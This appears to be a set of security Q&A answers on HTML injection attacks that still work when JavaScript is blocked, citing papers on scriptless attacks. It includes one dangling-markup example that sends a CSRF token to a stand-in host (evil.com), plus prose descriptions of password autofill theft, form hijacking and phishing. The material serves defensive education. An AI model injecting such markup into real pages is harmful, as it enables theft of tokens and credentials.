Session Hijacked in case javascript blocked

Lets say an application was using the Content Security Policy properly, and an attacker could inject HTML, but is unable to get JavaScript to execute. A good paper on this attack scenario is Postcards from the post-xss world, and one of the attacks that is described is using "dangling markup injection". In this attack, the goal is to read a CSRF token on the page using a partial <img> tag, for example:

<img src='http://evil.com/log.cgi?  ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'← Normally-occurring apostrophe in page text
...
</div>           

If you take OWASPs definition of XSS very strictly I would say no it's not possible:

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected...

unless you are using some other type of client side script.

That said, you could still be vulnerable to HTML Injection, which is closely related to XSS. With this type of attack someone could potentially craft an attack such as injecting a form that requested credentials and submitted to a malicious server.

Many attack scenarios remain possible. The definitive resources on HTML injection attacks without Javascript are:

• Scriptless Attacks – Stealing the Pie Without Touching the Sill. Mario Heiderich, Marcus Niemietz, Felix Schuster, Thorsten Holz, Jörg Schwenk. CCS 2012.

• Postcards from the post-XSS world. Michal Zalewski. December 2011.

Those two papers mention many possible attacks, including:

• Password theft: if the user is using their browser's password manager, it may be possible to inject HTML that causes the browser to auto-fill the user's password into a textbox. The attack might also be able to trigger the form to be submitted to the attacker (revealing the user's password to the attacker), or to set things up so that as soon as the user does anything, the form will be submitted to the attacker.

• Data exfiltration: inject a tag that changes where a form is posted to. This allows the attacker to steal any secret information the user enters into the page. There are also other methods for an attacker to learn what is displayed on the page, including CSRF tokens, confidential information, and other non-public information.

• Deface your page: the attacker might be able to change what is displayed on your web page.

• Phishing: by injecting malicious tags, the attacker might be able to phish your users or steal authentication credentials (think of adding a login form that asks the user for their username and password, but where the form action submits to the attacker's site).

• CSRF attacks: the attacker can inject markup that mounts a CSRF attack on your site, if you don't have CSRF defenses or if you use the Referer or Origin header for CSRF defense. Think of an inline image or a form element that automatically loads a URL on the victim's site, or that fools the user into doing so.

• Clickjacking/strokejacking attacks: some of these attacks do not require Javascript, and can be mounted simply by injecting malicious HTML markup into the page.

• Evil CSS: inject a style tag that refers to a CSS, then use the fact that CSS can contain Javascript (on some browsers).

• Evil SVG: inject SVG images. SVG images can contain Javascript.

• Evil font files: inject a tag that causes a malicious font to be loaded, which can then trigger malicious behavior.

• Change the rendering of the page, either to fool the user (abusing the user's trust in the website), or for other purposes. This can also allow phishing, e.g., by displaying a login page with the submit action pointing to the attacker's site; if the user enters their password into that login page, the attacker learns their password.

• Attacks on trusted Javascript, by interfering with their proper execution, e.g., through namespace pollution or other methods.

These attacks and many more are described in the papers cited above.

For information about web security, I recommend the following book:

• The Tangled Web: A Guide to Securing Modern Web Applications. Michael Zalewski.

In the future, when you have questions about obscure aspects of web security, that'd be the first resource I'd recommend you check. It's chock-full of great nuggets and wise advice.

For this particular question, see also http://security.stackexchange.com/a/1491/971.

Even if the client browser does not allow scripts to run. An attacker can still modify the DOM by injecting HTML tags. Some possible examples...

• Injecting anchor tags and trick the user to click on a malicious link.
• Inject a valid HTML form and submit button and trick the user to perform a valid action in the context of the application.
• Inject an iframe containing a malicious page which may ask the user to enter some critical information.
• In case the application has persistent xss; all the above mentioned points will remain valid. Website defacement is still possible.

Note that stealing the session cookie is not the only risk associated with xss attacks.. A fake login form loaded inside an iframe can also do a lot of damage